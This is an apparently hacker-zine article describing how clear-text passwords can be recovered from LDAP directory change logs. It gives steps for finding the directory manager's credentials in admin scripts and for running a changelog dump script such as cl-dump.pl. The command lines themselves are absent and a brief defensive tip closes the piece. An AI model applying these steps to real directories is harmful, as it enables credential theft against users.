LDAP Directory Servers: TMI!
by Leviathan
Warning: Fishing for user passwords can get you in big trouble. This article is provided for security and educational purposes only.
Lightweight Directory Access Protocol (LDAP) directory servers are everywhere.
From proprietary directories like Microsoft Active Directory and Sun ONE, to open-source projects like Fedora Directory Server and OpenDS, there's no shortage of choices.
One advantage of single-point user management in an LDAP directory is that you can enforce a global password policy.
For instance, you can make all users pick a password of at least six characters, with at least one numeric character, one uppercase alpha character, and so forth. Also, you can force the user to change their password regularly (say every 45 days).
If you think about it, to check password features like this, the LDAP directory must be able to check the plain text password the user has typed. Makes sense, right?
In order to enforce at least one digit, for instance, the directory has to be able to process the unencrypted password. Whether it travels over the network in the clear or through SSL encryption is moot. When it gets to the directory server, but before being written to the directory as a hash, the user's password is in the clear.
So far so good.
But changes to the LDAP directory, even when a user changes their password, are usually written to change logs. Change logs are necessary for things like directory replication, as most directory installations have more than one LDAP server, for redundancy. As I found out quite by accident, you can recover the clear text passwords the users have typed by dumping the change log with utilities that are oh-so-conveniently included with the directory software.
All you need is the ability to connect to the directory server over IP, the dump script, and the password of the God account.
Well, that's what I call it but it is analogous to the root account on a UNIX server.
It can be something like: cn=root, or cn=directory manager, or cn=administrator
In my experience, there's not much security around this ID and password.
For starters, you can look at any custom utilities that do work on the directory, like those that add or delete users. The password will sometimes be embedded within, or referenced to an external file on the same system. Look through the script for the looooong command lines and you'll usually find the God account and its password as arguments to that LDAP command.
Now that you have the username and password for the God account, you should look for the changelog dump script.
Search your directory system for a Perl script with the word "dump" in it. One possible name is: cl-dump.pl
Alternatively, use FTP to get the script from the directory server. Search the usual directories for it (/usr/bin, /usr/local/bin, etc.), because it could be in different places depending on the distribution.
If all else fails, do a search for "changelog dump script" online.
Here's a common usage of a typical dump script. Your options, of course, may be different. Execute the script without any arguments to get the proper usage.
Change to the directory that contains the script, then:
In this example, the change log output will be written to the file: /tmp/outputfile.txt
Once the script completes, use your favorite text tool to scroll through the file.
In particular, scan for lines that look like this:
Even on the most insecure operating systems, you never see the actual password in clear text, only the hashes. But once you decode the changelog with the appropriate script, there's nothing left to the imagination.
The output is quite easy to read; I don't have to explain further.
For security, directory admins should consider removing or otherwise disabling the changelog dump script if present. Beware: if the LDAP system administrator is worth his salt, your activity will be logged and logs checked, but that's a big "if."
Be careful out there.
Shouts out to Tomzilla, Gman, and PRW.